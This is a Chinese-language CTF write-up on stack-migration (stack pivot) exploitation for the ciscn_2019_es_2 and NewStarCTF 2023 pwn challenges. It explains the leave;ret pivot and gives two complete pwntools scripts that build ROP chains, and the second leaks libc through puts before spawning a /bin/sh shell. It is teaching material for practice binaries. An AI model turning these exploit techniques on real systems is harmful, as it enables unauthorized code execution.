Stack Migration ciscn_2019_es_2 https://buuoj.cn/challenges#ciscn_2019_es_2
溢出的长度不足以写rop链,劫持rbp到一个足够大的空间里去
首先通过调试查看ebp到可输入空间开头的距离
1 gdb.attach(p, "b *0x080485FC" )
程序输出的rbp为0xffdb7098
,和图中aaaa的位置相差0x38,一会就要将ebp覆盖为ebp-0x38,从而开辟足够的空间来构造rop
然后vul()
函数原本的返回地址被&(leave ret)
取代了这样在vul()
执行结束时,相当于多执行一次leave ret
过程如下:
1 2 3 4 5 6 7 8 1 . vul()原本的leave esp ->ebp -0x38 ebp ->aaaa esp ->leave ret 2 . vul()原本的ret eip ->leave ret esp ->比返回地址再低4 个字节的位置上3 . leave esp ->aaaa ebp == aaaa esp ->system@plt4 . ret eip ->system@plt esp ->system的返回地址(瞎写的)
这时,就相当于一个普通的rop了,system@plt为一个被溢出的返回地址,在他后面的是system的返回地址和它的参数,而”/bin/sh\x00”为一个字符串,需要一个指针指向它,因此需要计算一下binsh的地址。
由于aaaa是ebp-0x38,binsh距离aaaa有16个字节,那么这个地方填上ebp-0x28,就能给system传进去binsh的参数了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * r = process("./ciscn_2019_es_2" ) gdb.attach(r, "b *0x080485FC" ) sys=0x8048400 leave_ret=0x08048562 main=0xdeadbeef payload='a' *0x27 +'b' r.send(payload) r.recvuntil("b" ) ebp = u32(r.recv(4 ))print (hex (ebp)) payload2=b'aaaa' +p32(sys)+p32(main)+p32(ebp-0x28 )+b"/bin/sh" payload2=payload2.ljust(0x28 ,b'\x00' ) payload2+=p32(ebp-0x38 )+p32(leave_ret) r.send(payload2) r.interactive()
NewStarCTF 2023 stack migration
和前面的唯一区别在于需要先泄露libc地址,题目又给了libc
需要注意的还是不要sendline,因为会多一个\n,占掉了下一次输入,payload2就输入不进去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * p = remote("node4.buuoj.cn" ,25029 ) e = ELF("./pwn" ) leave_ret = 0x4012aa poprdi_ret = 0x401333 puts_got = e.got["puts" ] puts_plt = e.plt["puts" ] main = 0x4012ac start = 0x4010b0 p.recvuntil(b"your name:\n" ) payload = b"12345678" p.send(payload) p.recvuntil(b"I have a small gift for you: " ) buf_addr = eval (p.recv(14 ))print (hex (buf_addr)) p.recvuntil(b"more infomation plz:\n" ) payload2 = ( p64(poprdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)).ljust(80 ,b'a' ) payload2+= p64(buf_addr) + p64(leave_ret) p.send(payload2) p.recvuntil(b"maybe I'll see you soon!\n" ) puts_addr = u64(p.recvuntil(b"\x7f" ).ljust(8 ,b"\x00" ))print ("puts:----" + str (hex (puts_addr))) libc = ELF("libc.so.6" ) libc.address = puts_addr - libc.sym['puts' ] system = libc.sym["system" ] binsh = next (libc.search(b"/bin/sh" )) p.recvuntil(b"your name:\n" ) payload = b"12345678" p.send(payload) p.recvuntil(b"I have a small gift for you: " ) buf_addr = eval (p.recv(14 ))print (hex (buf_addr)) p.recvuntil(b"more infomation plz:\n" ) payload2 = (p64(poprdi_ret) + p64(binsh) + p64(system)).ljust(80 ,b"a" ) payload2+= p64(buf_addr) + p64(leave_ret) p.sendline(payload2) p.interactive()